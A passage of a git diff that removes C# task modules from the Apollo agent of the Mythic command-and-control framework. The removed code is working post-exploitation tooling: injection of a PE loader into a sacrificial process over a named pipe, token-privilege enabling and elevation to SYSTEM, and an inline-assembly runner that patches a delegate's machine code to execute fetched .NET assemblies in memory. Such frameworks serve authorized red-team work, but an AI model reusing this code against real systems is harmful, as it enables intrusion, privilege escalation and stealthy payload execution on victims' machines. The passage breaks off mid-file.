_agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse("", false, messages: - [ - Artifact.ProcessCreate((int)proc.PID, info.Application, info.Arguments) - ] - ) - ); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Injecting stub...")); - if (!proc.Inject(exePEPic)) - { - throw new Exception($"Failed to inject loader into sacrificial process {info.Application}."); - } - - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse("", false, messages: - [ - Artifact.ProcessInject((int)proc.PID, _agent.GetInjectionManager().GetCurrentTechnique().Name) - ] - ) - ); - - var cmdargs = new ExecutePEIPCMessage() - { - Executable = peBytes, - ImageName = parameters.PEName, - CommandLine = parameters.CommandLine, - }; - - var client = new AsyncNamedPipeClient("127.0.0.1", parameters.PipeName); - client.ConnectionEstablished += Client_ConnectionEstablished; - client.MessageReceived += Client_MessageReceived; - client.Disconnect += Client_Disconnet; - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Connecting to named pipe...")); - if (!client.Connect(10000)) - { - throw new Exception($"Injected assembly into sacrificial process: {info.Application}.\n Failed to connect to named pipe: {parameters.PipeName}."); - } - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Sending PE File...")); - IPCChunkedData[] chunks = _serializer.SerializeIPCMessage(cmdargs); - foreach (IPCChunkedData chunk in chunks) - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(_serializer.Serialize(chunk))); - } - - _senderEvent.Set(); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Waiting for PE to finish...")); - DebugHelp.DebugWriteLine("waiting for cancellation token in execute_pe.cs"); - WaitHandle.WaitAny( - [ - _cancellationToken.Token.WaitHandle, - ]); - DebugHelp.DebugWriteLine("cancellation token activated in execute_pe.cs, returning completed"); - resp = CreateTaskResponse("", true, "completed"); - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected Error\n{ex.Message}\n\nStack trace: {ex.StackTrace}", true, "error"); - _cancellationToken.Cancel(); - } - - if (proc is Process procHandle) - { - if (!procHandle.HasExited && procHandle.PID > 0) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Killing process...")); - procHandle.Kill(); - resp.Artifacts = [Artifact.ProcessKill((int)procHandle.PID)]; - } - /* - if (procHandle.ExitCode != 0) - { - if ((procHandle.ExitCode & 0xc0000000) != 0 - && procHandle.GetExitCodeHResult() is int exitCodeHResult) - { - var errorMessage = new Win32Exception(exitCodeHResult).Message; - resp.UserOutput += $"\n[*] Process exited with code: 0x{(uint)procHandle.ExitCode:x} - {errorMessage}"; - resp.Status = "error"; - } - else - { - resp.UserOutput += $"\n[*] Process exited with code: {procHandle.ExitCode} - 0x{(uint)procHandle.ExitCode:x}"; - } - } else - { - resp.UserOutput += $"\n[*] Process exited with code: 0x{(uint)procHandle.ExitCode:x}"; - } - */ - resp.UserOutput += $"\n[*] Process exited"; - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - private void Client_Disconnet(object sender, NamedPipeMessageArgs e) - { - _completed = true; - _complete.Set(); - flushTask.Wait(); - e.Pipe.Close(); - _cancellationToken.Cancel(); - } - - private void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e) - { - Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token); - flushTask = Task.Factory.StartNew(_flushMessages, _cancellationToken.Token); - } - - public void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - // Potentially delete this since theoretically the sender Task does everything - if (pipe.IsConnected && !_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] data)) - { - try - { - pipe.EndWrite(result); - pipe.BeginWrite(data, 0, data.Length, OnAsyncMessageSent, pipe); - } - catch - { - - } - - } - } - private void Client_MessageReceived(object sender, NamedPipeMessageArgs e) - { - IPCData d = e.Data; - string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray()); - DebugHelp.DebugWriteLine($"adding data to output"); - _assemblyOutput.Add(msg); - } - } -} -#endif diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/exit.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/exit.cs deleted file mode 100644 index 41cf6a42..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/exit.cs +++ /dev/null @@ -1,28 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define EXIT -#endif - -#if EXIT -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks -{ - public class exit : Tasking - { - public exit(IAgent agent, MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true)); - _agent.Exit(); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/get_injection_techniques.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/get_injection_techniques.cs deleted file mode 100644 index e72209c4..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/get_injection_techniques.cs +++ /dev/null @@ -1,57 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define GET_INJECTION_TECHNIQUES -#endif - -#if GET_INJECTION_TECHNIQUES - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.Runtime.Serialization; - -namespace Tasks -{ - public class get_injection_techniques : Tasking - { - [DataContract] - internal struct InjectionTechniqueResult - { - [DataMember(Name = "name")] - public string Name; - [DataMember(Name = "is_current")] - public bool IsCurrent; - } - public get_injection_techniques(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - MythicTaskResponse resp; - string[] techniques = _agent.GetInjectionManager().GetTechniques(); - Type cur = _agent.GetInjectionManager().GetCurrentTechnique(); - List results = new List(); - foreach (string t in techniques) - { - results.Add(new InjectionTechniqueResult - { - Name = t, - IsCurrent = t == cur.Name - }); - } - - resp = CreateTaskResponse( - _jsonSerializer.Serialize(results.ToArray()), true); - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/getprivs.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/getprivs.cs deleted file mode 100644 index 89b8021f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/getprivs.cs +++ /dev/null @@ -1,241 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define GETPRIVS -#endif - -#if GETPRIVS - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Tasks -{ - public class getprivs : Tasking - { - private static string[] _tokenPrivilegeNames = new string[] { - "SeAssignPrimaryTokenPrivilege", - "SeAuditPrivilege", - "SeBackupPrivilege", - "SeChangeNotifyPrivilege", - "SeCreateGlobalPrivilege", - "SeCreatePagefilePrivilege", - "SeCreatePermanentPrivilege", - "SeCreateSymbolicLinkPrivilege", - "SeCreateTokenPrivilege", - "SeDebugPrivilege", - "SeDelegateSessionUserImpersonatePrivilege", - "SeEnableDelegationPrivilege", - "SeImpersonatePrivilege", - "SeIncreaseBasePriorityPrivilege", - "SeIncreaseQuotaPrivilege", - "SeIncreaseWorkingSetPrivilege", - "SeLoadDriverPrivilege", - "SeLockMemoryPrivilege", - "SeMachineAccountPrivilege", - "SeManageVolumePrivilege", - "SeProfileSingleProcessPrivilege", - "SeRelabelPrivilege", - "SeRemoteShutdownPrivilege", - "SeRestorePrivilege", - "SeSecurityPrivilege", - "SeShutdownPrivilege", - "SeSyncAgentPrivilege", - "SeSystemEnvironmentPrivilege", - "SeSystemProfilePrivilege", - "SeSystemtimePrivilege", - "SeTakeOwnershipPrivilege", - "SeTcbPrivilege", - "SeTimeZonePrivilege", - "SeTrustedCredManAccessPrivilege", - "SeUndockPrivilege", - "SeUnsolicitedInputPrivilege" }; - - #region typedefs - public enum ATTRIBUTES : UInt32 - { - SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001, - SE_PRIVILEGE_ENABLED = 0x00000002, - SE_PRIVILEGE_REMOVED = 0x00000004, - SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000 - } - - [StructLayout(LayoutKind.Sequential)] - public struct LUID_AND_ATTRIBUTES - { - public LUID Luid; - public ATTRIBUTES Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct LUID - { - public UInt32 LowPart; - public Int32 HighPart; - - public LUID(UInt64 value) - { - LowPart = (UInt32)(value & 0xffffffffL); - HighPart = (Int32)(value >> 32); - } - - public LUID(LUID value) - { - LowPart = value.LowPart; - HighPart = value.HighPart; - } - - public LUID(string value) - { - if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^0x[0-9A-Fa-f]+$")) - { - // if the passed LUID string is of form 0xABC123 - UInt64 uintVal = Convert.ToUInt64(value, 16); - LowPart = (UInt32)(uintVal & 0xffffffffL); - HighPart = (Int32)(uintVal >> 32); - } - else if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^\d+$")) - { - // if the passed LUID string is a decimal form - UInt64 uintVal = UInt64.Parse(value); - LowPart = (UInt32)(uintVal & 0xffffffffL); - HighPart = (Int32)(uintVal >> 32); - } - else - { - ArgumentException argEx = new ArgumentException("Passed LUID string value is not in a hex or decimal form", value); - throw argEx; - } - } - - public override int GetHashCode() - { - UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; - return Value.GetHashCode(); - } - - public override bool Equals(object obj) - { - return obj is LUID && (((ulong)this) == (LUID)obj); - } - - public byte[] GetBytes() - { - byte[] bytes = new byte[8]; - - byte[] lowBytes = BitConverter.GetBytes(this.LowPart); - byte[] highBytes = BitConverter.GetBytes(this.HighPart); - - Array.Copy(lowBytes, 0, bytes, 0, 4); - Array.Copy(highBytes, 0, bytes, 4, 4); - - return bytes; - } - - public override string ToString() - { - UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; - return String.Format("0x{0:x}", (ulong)Value); - } - - public static bool operator ==(LUID x, LUID y) - { - return (((ulong)x) == ((ulong)y)); - } - - public static bool operator !=(LUID x, LUID y) - { - return (((ulong)x) != ((ulong)y)); - } - - public static implicit operator ulong(LUID luid) - { - // enable casting to a ulong - UInt64 Value = ((UInt64)luid.HighPart << 32); - return Value + luid.LowPart; - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct TokenPrivileges - { - public UInt32 PrivilegeCount; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public LUID_AND_ATTRIBUTES[] Privileges; - //public LUID_AND_ATTRIBUTES Privileges; - - //public TOKEN_PRIVILEGES(uint PrivilegeCount, LUID_AND_ATTRIBUTES Privileges) - //{ - // this.PrivilegeCount = PrivilegeCount; - // this.Privileges = Privileges; - //} - } - - private delegate bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); - private delegate bool AdjustTokenPrivileges(IntPtr hToken, bool bDisableAllPrivileges, ref TokenPrivileges lpNewState, int dwBufferLength, IntPtr null1, IntPtr null2); - - private LookupPrivilegeValue _pLookupPrivilegeValue; - private AdjustTokenPrivileges _pAdjustTokenPrivileges; - - #endregion - public getprivs(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - _pLookupPrivilegeValue = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LookupPrivilegeValueA"); - _pAdjustTokenPrivileges = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "AdjustTokenPrivileges"); - } - - private bool SePrivEnable(IntPtr hToken, string priv) - { - bool bRet = false; - //_LUID lpLuid = new _LUID(); - var tokenPrivileges = new TokenPrivileges(); - tokenPrivileges.Privileges = new LUID_AND_ATTRIBUTES[1]; - bRet = _pLookupPrivilegeValue(null, priv, out tokenPrivileges.Privileges[0].Luid); - if (!bRet) - return bRet; - tokenPrivileges.PrivilegeCount = 1; - tokenPrivileges.Privileges[0].Attributes = ATTRIBUTES.SE_PRIVILEGE_ENABLED; - _pAdjustTokenPrivileges(hToken, false, ref tokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero); - if (Marshal.GetLastWin32Error() == 0) - bRet = true; - else - bRet = false; - return bRet; - } - - public override void Start() - { - MythicTaskResponse resp; - WindowsIdentity impersonationIdentity = _agent.GetIdentityManager().GetCurrentImpersonationIdentity(); - WindowsIdentity primaryIdentity = _agent.GetIdentityManager().GetCurrentPrimaryIdentity(); - List imperonationPrivs = new List(); - List primaryPrivs = new List(); - foreach (string name in _tokenPrivilegeNames) - { - if (SePrivEnable(impersonationIdentity.Token, name)) - { - imperonationPrivs.Add(name); - } - - if (SePrivEnable(primaryIdentity.Token, name)) - { - primaryPrivs.Add(name); - } - } - - resp = CreateTaskResponse("Impersonation identity enabled privileges:\n" + - string.Join("\n", imperonationPrivs.ToArray()) + "\n\n" + - "Primary identity enabled privileges:\n" + - string.Join("\n", primaryPrivs.ToArray()), true, "completed"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/getsystem.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/getsystem.cs deleted file mode 100755 index 2683aa5e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/getsystem.cs +++ /dev/null @@ -1,39 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define GETSYSTEM -#endif - -#if GETSYSTEM - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks -{ - public class getsystem : Tasking - { - - public getsystem(IAgent agent, MythicTask data) : base(agent, data) - { - } - public override void Start() - { - MythicTaskResponse resp; - bool elevated = false; - (elevated, _) = _agent.GetIdentityManager().GetSystem(); - if (elevated) - { - resp = CreateTaskResponse("Elevated to SYSTEM", true, "completed"); - } else - { - resp = CreateTaskResponse("Failed to elevate to SYSTEM", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/ifconfig.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/ifconfig.cs deleted file mode 100644 index d6ac6b54..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/ifconfig.cs +++ /dev/null @@ -1,137 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define IFCONFIG -#endif - -#if IFCONFIG - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.Net; -using System.Net.NetworkInformation; -using System.Runtime.Serialization; - -namespace Tasks -{ - [DataContract()] - struct InterfaceConfiguration - { - [DataMember()] - public string Description { get; set; } - [DataMember()] - public string AdapterName { get; set; } - [DataMember()] - public string AdapterId { get; set; } - [DataMember()] - public string Status { get; set; } - [DataMember()] - public List AdressesV6 { get; set; } - [DataMember()] - public List AdressesV4 { get; set; } - [DataMember()] - public List DnsServers { get; set; } - [DataMember()] - public List Gateways { get; set; } - [DataMember()] - public List DhcpAddresses { get; set; } - [DataMember()] - public string DnsEnabled { get; set; } - [DataMember()] - public string DnsSuffix { get; set; } - [DataMember()] - public string DynamicDnsEnabled { get; set; } - } - - public class ifconfig : Tasking - { - private List _interfaces = new List(); - - public ifconfig(IAgent agent, MythicTask data) : base(agent, data) - { - } - - public override void Kill() - { - throw new NotImplementedException(); - } - - public override void Start() - { - NetworkInterface[] adapters = NetworkInterface.GetAllNetworkInterfaces(); - foreach (NetworkInterface adapter in adapters) { - InterfaceConfiguration interfaceData = new InterfaceConfiguration { - Description = "", - AdapterName = "", - AdapterId = "", - Status = "", - DnsEnabled = "", - DnsSuffix = "", - DynamicDnsEnabled = "", - AdressesV4 = new List(), - AdressesV6 = new List(), - DhcpAddresses = new List(), - DnsServers = new List(), - Gateways = new List() - }; - - // Interface Properties - IPInterfaceProperties properties = adapter.GetIPProperties(); - interfaceData.Description = adapter.Description; - interfaceData.AdapterName = adapter.Name; - interfaceData.AdapterId = adapter.Id; - interfaceData.Status = adapter.OperationalStatus.ToString(); - - // IP address - UnicastIPAddressInformationCollection uniCast = properties.UnicastAddresses; - if (uniCast.Count > 0) { - foreach (UnicastIPAddressInformation uni in uniCast) { - if (uni.Address.ToString().Contains(":")) - interfaceData.AdressesV6.Add(uni.Address.ToString()); - else - interfaceData.AdressesV4.Add(uni.Address.ToString()); - } - } - - // Gateway - foreach (GatewayIPAddressInformation gateway in properties.GatewayAddresses) - interfaceData.Gateways.Add(gateway.Address.ToString()); - - // DNS - IPAddressCollection dnsServers = properties.DnsAddresses; - if (dnsServers.Count > 0) { - foreach (IPAddress dns in dnsServers) - interfaceData.DnsServers.Add(dns.ToString()); - } - - if (properties.IsDnsEnabled) { - interfaceData.DnsSuffix = properties.DnsSuffix; - interfaceData.DnsEnabled = properties.IsDnsEnabled.ToString(); - interfaceData.DynamicDnsEnabled = properties.IsDynamicDnsEnabled.ToString(); - } - - // DHCP - IPAddressCollection dhcp = properties.DhcpServerAddresses; - if (dhcp.Count > 0) { - foreach (IPAddress address in dhcp) { - interfaceData.DhcpAddresses.Add(address.ToString()); - } - } - - _interfaces.Add(interfaceData); - - } - - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - _jsonSerializer.Serialize(_interfaces), - true, - "")); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/inline_assembly.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/inline_assembly.cs deleted file mode 100644 index e7733f2c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/inline_assembly.cs +++ /dev/null @@ -1,442 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define INLINE_ASSEMBLY -#endif - -#if INLINE_ASSEMBLY - -using System; -using System.Linq; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using System.Threading; -using System.IO; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Security.Principal; -using ApolloInterop.Classes.Api; -using ApolloInterop.Utils; - -namespace Tasks -{ - public class inline_assembly : Tasking - { - [DataContract] - internal struct InlineAssemblyParameters - { - [DataMember(Name = "assembly_name")] - public string AssemblyName; - [DataMember(Name = "assembly_arguments")] - public string AssemblyArguments; - [DataMember(Name = "assembly_id")] - public string AssemblyId; - - [DataMember(Name = "interop_id")] public string InteropFileId; - } - - private delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); - private readonly VirtualProtect _pVirtualProtect; - - private delegate IntPtr CommandLineToArgvW( - [MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, - out int pNumArgs); - - private readonly CommandLineToArgvW _pCommandLineToArgvW; - - private delegate IntPtr LocalFree(IntPtr hMem); - - private readonly LocalFree _pLocalFree; - - private static readonly AutoResetEvent Complete = new AutoResetEvent(false); - - private readonly Action _sendAction; - - private System.Threading.Tasks.Task _sendTask = null; - - private static string _output = ""; - - private static bool _completed = false; - - private Thread _assemblyThread; - - public inline_assembly(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - _pVirtualProtect = agent.GetApi().GetLibraryFunction(Library.KERNEL32, "VirtualProtect"); - _pCommandLineToArgvW = - agent.GetApi().GetLibraryFunction(Library.SHELL32, "CommandLineToArgvW"); - _pLocalFree = agent.GetApi().GetLibraryFunction(Library.KERNEL32, "LocalFree"); - _sendAction = o => - { - string accumOut = ""; - string slicedOut = ""; - int lastOutLen = 0; - /* Unfortunately, with the way the way Cross AppDomain delegates work, - * we can't invoke functions on private members of the parent class. - * Instead, we have to take the approach of managing concurrent access - * with the agent's output mutex. So long as we have acquired the mutex, - * we ensure we're the only one accessing the static _output variable. - * Then each second, we see what "new" output has been posted by the cross - * AppDomain delegate function. If there is new output, we take the segment - * of the string that is new, and post it to Mythic. - */ - while (!_completed && !_cancellationToken.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] - { - Complete - }, 1000); - accumOut = _output; - slicedOut = accumOut.Skip(lastOutLen).Aggregate("", (current, s) => current + s); - lastOutLen = accumOut.Length; - if (!string.IsNullOrEmpty(slicedOut)) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - slicedOut, - false, - "")); - } - } - - slicedOut = _output.Skip(lastOutLen).Aggregate("", (current, s)=> current + s); - if (!string.IsNullOrEmpty(slicedOut)) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - slicedOut, - false, - "")); - } - }; - } - - private string[] ParseCommandLine(string cmdline) - { - int numberOfArgs; - IntPtr ptrToSplitArgs; - string[] splitArgs; - - ptrToSplitArgs = _pCommandLineToArgvW(cmdline, out numberOfArgs); - - // CommandLineToArgvW returns NULL upon failure. - if (ptrToSplitArgs == IntPtr.Zero) - throw new ArgumentException("Unable to split argument.", new Win32Exception()); - - // Make sure the memory ptrToSplitArgs to is freed, even upon failure. - try - { - splitArgs = new string[numberOfArgs]; - - // ptrToSplitArgs is an array of pointers to null terminated Unicode strings. - // Copy each of these strings into our split argument array. - for (int i = 0; i < numberOfArgs; i++) - splitArgs[i] = Marshal.PtrToStringUni(Marshal.ReadIntPtr(ptrToSplitArgs, i * IntPtr.Size)); - - return splitArgs; - } - finally - { - // Free memory obtained by CommandLineToArgW. - _pLocalFree(ptrToSplitArgs); - } - } - - public override void Kill() - { - _assemblyThread.Abort(); - _completed = true; - _cancellationToken.Cancel(); - Complete.Set(); - } - - - public override void Start() - { - MythicTaskResponse resp; - TextWriter realStdOut = Console.Out; - TextWriter realStdErr = Console.Error; - try - { - /* - * This output lock ensures that we're the only ones that are manipulating the static - * variables of this class, such as: - * - _output - * - _completed - * These variables communicate across the AppDomain boundary (as they're simple types). - * Output is managed by the _sendTask. - */ - _agent.AcquireOutputLock(); - byte[] interopBytes = new byte[0]; - InlineAssemblyParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (!_agent.GetFileManager().GetFileFromStore(parameters.InteropFileId, out interopBytes)) - { - if (_agent.GetFileManager().GetFile( - _cancellationToken.Token, - _data.ID, - parameters.InteropFileId, - out interopBytes - )) - { - _agent.GetFileManager().AddFileToStore(parameters.InteropFileId, interopBytes); - } - } - - if (interopBytes.Length != 0) - { - if(!_agent.GetFileManager().GetFileFromStore(parameters.AssemblyName, out byte[] assemblyBytes)) - { - if (!_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.AssemblyId, out assemblyBytes)) - { - resp = CreateTaskResponse($"Failed to fetch {parameters.AssemblyName} from Mythic", true); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } else - { - _agent.GetFileManager().AddFileToStore(parameters.AssemblyName, assemblyBytes); - } - } - - string[] stringData = string.IsNullOrEmpty(parameters.AssemblyArguments) - ? new string[0] - : ParseCommandLine(parameters.AssemblyArguments); - - _sendTask = System.Threading.Tasks.Task.Factory.StartNew(_sendAction, _cancellationToken.Token); - (bool loadedModule, string optionalMessage) = LoadAppDomainModule(stringData, assemblyBytes, new byte[][] { interopBytes }); - if (loadedModule) - { - resp = CreateTaskResponse("", true); - } - else - { - resp = CreateTaskResponse($"Failed to load module. \n {optionalMessage}", true, "error"); - } - - } - else - { - resp = CreateTaskResponse("Failed to get ApolloInterop dependency.", true, "error"); - } - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); - } - finally - { - Console.Out.Flush(); - Console.Error.Flush(); - Console.SetOut(realStdOut); - Console.SetError(realStdErr); - _completed = true; - Complete.Set(); - if (_sendTask != null) - { - _sendTask.Wait(); - } - - _completed = false; - _output = ""; - _agent.ReleaseOutputLock(); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - - #region AppDomain Management - private (bool,string) LoadAppDomainModule(String[] sParams, Byte[] bMod, Byte[][] dependencies) - { - bool bRet = false; - AppDomain isolationDomain = AppDomain.CreateDomain(Guid.NewGuid().ToString()); - try - { - isolationDomain.SetThreadPrincipal(new WindowsPrincipal(_agent.GetIdentityManager().GetCurrentImpersonationIdentity())); - isolationDomain.SetData("str", sParams); - bool defaultDomain = AppDomain.CurrentDomain.IsDefaultAppDomain(); - // Load dependencies wrapped into a try catch to avoid non critical loading failures from causing the entire module to fail - foreach (byte[] dependency in dependencies) - { - try - { - isolationDomain.Load(dependency); - } - catch (Exception e) - { - DebugHelp.DebugWriteLine(e.Message); - } - } - try - { - isolationDomain.Load(bMod); - } - catch (Exception e) - { - DebugHelp.DebugWriteLine(e.Message); - } - var sleeve = new CrossAppDomainDelegate(Console.Beep); - var ace = new CrossAppDomainDelegate(ActivateLoader); - - RuntimeHelpers.PrepareDelegate(sleeve); - RuntimeHelpers.PrepareDelegate(ace); - - - var flags = BindingFlags.Instance | BindingFlags.NonPublic; - var codeSleeve = (IntPtr)sleeve.GetType().GetField("_methodPtrAux", flags).GetValue(sleeve); - var codeAce = (IntPtr)ace.GetType().GetField("_methodPtrAux", flags).GetValue(ace); - - if (codeSleeve == IntPtr.Zero || codeAce == IntPtr.Zero) - { - return (bRet, "Failed to get method pointers"); - } - int[] patch = new int[3]; - - patch[0] = 10; - patch[1] = 11; - patch[2] = 12; - - uint oldprotect = 0; - if (!_pVirtualProtect(codeSleeve, new UIntPtr((uint) patch[2]), 0x4, out oldprotect)) - { - return (bRet, "Failed to change memory protection"); - } - Marshal.WriteByte(codeSleeve, 0x48); - Marshal.WriteByte(IntPtr.Add(codeSleeve, 1), 0xb8); - Marshal.WriteIntPtr(IntPtr.Add(codeSleeve, 2), codeAce); - Marshal.WriteByte(IntPtr.Add(codeSleeve, patch[0]), 0xff); - Marshal.WriteByte(IntPtr.Add(codeSleeve, patch[1]), 0xe0); - if (!_pVirtualProtect(codeSleeve, new UIntPtr((uint) patch[2]), oldprotect, out oldprotect)) - { - return (bRet, "Failed to change memory protection"); - } - - try - { - _assemblyThread = new Thread(() => - { - isolationDomain.DoCallBack(sleeve); - }); - _assemblyThread.Start(); - while (!_completed && !_cancellationToken.IsCancellationRequested) - { - // periodically check this so we can break out if needed - _assemblyThread.Join(1000); - if(_assemblyThread.ThreadState == ThreadState.Stopped) - { - break; - } - } - bRet = true; - } - catch (Exception ex) - { - - } - return (bRet,""); - - } - catch (Exception e) - { - return (bRet, e.Message); - } - finally - { - UnloadAppDomain(isolationDomain); - } - } - - private static void UnloadAppDomain(AppDomain oDomain) - { - AppDomain.Unload(oDomain); - } -#endregion -#region Cross AppDomain Loader - static void ActivateLoader() - { - void OnWrite(object sender, object args) - { - Assembly interop2 = null; - foreach (var asm2 in AppDomain.CurrentDomain.GetAssemblies()) - { - if (asm2.FullName.StartsWith("ApolloInterop")) - { - interop2 = asm2; - break; - } - } - if (interop2 == null) - { - return; - } - Type tStringEventArgs = interop2.GetType("ApolloInterop.Classes.Events.StringDataEventArgs"); - FieldInfo fiData = tStringEventArgs.GetField("Data"); - string data = fiData.GetValue(args) as string; - if (!string.IsNullOrEmpty(data)) - { - _output += data; - } - } - Assembly interopAsm = null; - foreach (var asm in AppDomain.CurrentDomain.GetAssemblies()) - { - if (asm.FullName.StartsWith("ApolloInterop")) - { - interopAsm = asm; - } - } - - if (interopAsm == null) - { - throw new Exception("Failed to find interop dll"); - } - - - string[] str = AppDomain.CurrentDomain.GetData("str") as string[]; - - var callbackMethod = (EventHandler)OnWrite; - - - Type tWriter = interopAsm.GetType("ApolloInterop.Classes.IO.EventableStringWriter"); - - var writer = Activator.CreateInstance(tWriter); - EventInfo eiWrite = tWriter.GetEvent("BufferWritten"); - Delegate handler = Delegate.CreateDelegate( - eiWrite.EventHandlerType, - callbackMethod.Method); - eiWrite.AddEventHandler(writer, handler); - - Console.SetOut((StringWriter)writer); - Console.SetError((StringWriter)writer); - foreach (var asm in AppDomain.CurrentDomain.GetAssemblies()) - { - if (!asm.FullName.Contains("mscorlib") && !asm.FullName.Contains("Apollo")) - { - var costuraLoader = asm.GetType("Costura.AssemblyLoader", false); - if (costuraLoader != null) - { - var costuraLoaderMethod = costuraLoader.GetMethod("Attach", BindingFlags.Public | BindingFlags.Static); - if (costuraLoaderMethod != null) - { - costuraLoaderMethod.Invoke(null, new object[] { }); - } - } - - try - { - asm.EntryPoint.Invoke(null, new object[] {str}); - } - catch (System.Exception ex) - { - Console.WriteLine(ex.InnerException?.Message); - Console.WriteLine(ex.InnerException?.StackTrace); - } - Console.Out.Flush(); - Console.Error.Flush(); - } - } - } -#endregion - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/jobkill.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/jobkill.cs deleted file mode 100644 index a7fdc525..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/jobkill.cs +++ /dev/null @@ -1,50 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define JOBKILL -#endif - -#if JOBKILL - -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; - -namespace Tasks -{ - public class jobkill : Tasking - { - public jobkill(IAgent agent, MythicTask data) : base(agent, data) - { - } - - - public override void Start() - { - bool bRet = true; - string[] jids = _data.Parameters.Split(' '); - foreach 